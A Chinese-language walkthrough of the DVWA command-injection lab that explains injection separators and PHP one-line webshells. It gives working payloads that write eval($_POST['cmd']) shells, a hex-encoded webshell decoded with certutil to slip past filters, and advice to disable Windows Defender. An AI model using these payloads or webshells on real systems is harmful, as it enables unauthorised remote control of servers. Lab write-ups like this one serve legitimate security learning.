一、考点总结:Web的命令注入漏洞/代码注入漏洞
该 CTF 题目核心考察对命令注入 / 代码注入漏洞的利用能力,测试者需借助输入框这一用户输入入口,构造恶意 payload 注入至目标执行环境,从而实现对系统敏感信息的非法读取与窃取。
只看答案直接跳到四、DVWA-Command Injection解析
二、基础知识
1.命令注入
定义:攻击者通过用户可控输入,将操作系统命令注入到目标应用的系统命令执行流程中,使服务器执行非预期的系统指令,从而实现对操作系统的控制。
原因:应用程序将用户输入直接拼接到系统命令中,且未对输入进行严格的过滤或转义,导致攻击者可以通过特殊字符(命令连接符)拼接额外的恶意命令。
执行内容:操作系统命令,如 ls、whoami、dir等
例如:
127.0.0.1 | dir
该输入框的设计用途为接收 IP 地址输入,攻击者可利用命令注入漏洞,通过管道符拼接 Windows 系统命令dir,非法读取目标服务器当前目录下的文件列表。
2.代码注入
定义:攻击者通过用户可控输入,将服务器端脚本代码注入到目标应用的代码执行流程中,使服务器执行非预期的脚本指令,从而实现对应用程序的控制。
原因:应用程序将用户输入直接拼接到脚本代码中,且通过代码执行函数执行,未对输入进行严格的语法过滤或沙箱限制。
执行内容:脚本语言代,如 PHP 语句、Java 代码等
例如:
以 PHP 为例,假设有一个「动态代码执行」功能,代码如下:
$code = $_GET['code'];
eval("echo 'Hello: ' . $code;");
可以从code参数入手,实现代码注入
payload:?code='; system('whoami');
此时,系统实际执行的代码就会变成
echo 'Hello: ' . '';
system('whoami');
在执行原有echo命令之后,接着执行代码system('whoami'),返回当前用户身份。
代码注入的典例就是一句话木马。
3.流程控制衔接命令
- &&:前一个命令执行成功才执行后一个命令;前命令失败,后命令不执行。
- ||:前一个命令执行失败才执行后一个命令;前命令成功,则后命令不执行。
- &(Linux中):不判断前命令是否成功,强制让前命令在后台运行,同时立即执行后命令。
- &(Windows中):不支持后台运行,仅作为命令衔接符(类似 Linux 的 ;),且无论前命令是否成功,后命令都执行。
- |:管道符,将前一个命令的标准输出作为后一个命令的标准输入,前命令必须执行。
注:&&、||、|在Windows和Linux中行为一致;&则略有区别。
4.一句话木马(WebShell)
定义:一种恶意脚本,通常由攻击者植入目标服务器,核心作用是让攻击者通过 HTTP 请求远程控制服务器,执行任意操作(如执行系统命令、读写文件、数据库操作等)。其特点是代码短小(通常一行)、隐蔽性强,能绕过简单的安全防护。
最常见的一句话木马基于eval()函数,结构如下:
<?php eval($_POST['cmd']);?>
一句话木马语句的简单解释:
<?php?> //php代码基本格式
eval(); //eval()函数:执行括号内语句
$_POST[] //POST接收POST请求的内部参数,这里内部是cmd,则就是
//接收POST传来的cmd参数,可以是值,可以是函数
//$_REQUEST[]:接收POST、GET、HEAD所有的请求
cmd //参数,也是蚁剑连接时的密码
三、注意事项
1.关闭电脑安全保护
设置->隐私和安全性->Windows安全中心->病毒和威胁防护-“病毒和威胁防护”设置->实时保护->关闭
否则,代码注入会失败,可在防护日志中查看。
2.确定靶场环境
在渗透测试或靶场练习中,首先需精准判断操作系统环境(Windows 或 Linux/Unix),因为两者的核心命令差异显著,错误使用会导致操作失败。
ls 是 Linux/Unix 的原生命令,Windows 默认无此命令,因此执行命令 ls:
- 若正常显示目录内容,则为 Linux/Unix 环境;
- 若提示 “命令未找到”(command not found)或无有效输出,则为 Windows 环境( 同一功能Windows 使用命令dir)。
Linux/Unix常用命令:
ls、cat、grep、find、cd、pwd、rm、tar、unzip、ping、netstat、whoami、ifconfig、ps
Windows常用命令:
dir、type、cd、del、ipconfig、ping、netstat、net user、findstr、systeminfo
四、DVWA-Command Injection解析
本环境通过PhpStudy部署 DVWA 靶场,因此需使用 Windows 系统命令进行操作。该题目下的前三个等级均可通过命令注入的方式完成(稍有变动,后边具体展开);下文将重点介绍代码注入的实现方法。
127.0.0.1 | dir //windows
127.0.0.1 | ls //Linux
1.Low level
1.查看页面源码,右下角(View Source)

2.代码注入(一句话木马)
核心就是输入一个ip,因此随便输入一个合法ip,加上代码注入就能获得shell。因此,输入框输入:
127.0.0.1 | echo "<?php eval($_POST['cmd']);?>" > 1.php
3.查看注入文件
此时在网址后加上1.php,能看到文件说明注入成功。

也可输入以下内容在页面源代码(Ctrl+U)处查看,能查看到代码说明注入成功。
127.0.0.1 | type 1.php //windows
127.0.0.1 | cat 1.php //Linux
4.Webshell 远程控制(AntSword)
如果不用AntSword工具也能查看,只不过需要频繁的使用系统命令查找切换,不方便。
1.添加数据

2.输入URL和密码
URL要写全,写到木马文件为止;密码是$_POST['cmd']里引号之间的变量:

3.测试连接
点击测试连接,右下角出现连接成功!

4.完成添加

到此就破解成功了,可以随意查看系统所有文件了

2.Medium Level
1.查看页面源代码

分析源代码可知,这里它把"&&"和";"这两个符号给过滤了。
2.代码注入
127.0.0.1 | echo "<?php eval($_POST['cmd2']);?>" > 2.php
内容同Low,这里分号不影响是因为只要 Shell 语法本身没有 ";",字符串内写";"照常过,因为 PHP 代码是数据,不是Shell 元字符,剩下的步骤同Low。
3.High Level
1.查看源代码

这下ban掉的更多了,这时候就需要仔细观察过滤字符了,在“| ”中过滤的是管道加一个空格而不是管道,因此命令注入方法只需要变动一下空格就行了:
127.0.0.1 |dir //Windows
127.0.0.1 |ls //Linux
2.代码注入
接下来继续介绍代码注入的相关方法。由于此处绝大部分符号均被禁用,传统的PHP代码注入方式已不再适用,且这一过程是从简单到一般逐步推进的。那么是否存在一种能够基本完全摒弃非英文字符的实现思路?
答案是肯定的,即借助二进制转换的方式,这就需要用到Windows系统自带的certutil命令。
certutil是Windows系统原生内置的命令行工具(无需额外安装)
certutil -decodehex:将十六进制文件还原为可读文件
举例:
通过echo命令直接构造一个十六进制文件:
echo 3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e > shell.hex
再通过certutil转化为php文件:
certutil -decodehex shell.hex shell.php
本地测试:

这就给我们提供了思路,我们只需要将php代码段转换成十六进制文件,在通过certutil转换成php文件就避免了字符过滤。
将一句话木马转化成十六进制:

因此,本题的命令如下所示(这里也要注意"|"后不加空格哦!)
1.生成十六进制木马文件
127.0.0.1 |echo 3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e > shell.hex
shell.hex文件生成无误。
2.转换生成php文件
127.0.0.1 |certutil -decodehex shell.hex shell.php

这里看到DWVA里配置的CertUtil工具不支持-decodehex选项,因为DVWA开发于2007年,版本不支持,现在的Windows都默认支持-decodehex选项,因此方法是没问题的,可以用于实战。
4.Impossible Level
页面源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
大致区别就是将输入的ip分解为四个部分,每个部分都为数字才能通过,这和第三问用到的二进制方法已经很接近,看看各位大牛能不能解出来吧,有好的方法可以在评论区交流交流(^_^)
注:“Impossible” 级别代表了当前认为无法破解的防御基准。一旦发现针对该级别的破解方法,它将被降级为 “High”,并启用一个全新的 “Impossible” 级代码段来替代它,以保持其作为最高挑战的定位。



3046

被折叠的 条评论
为什么被折叠?



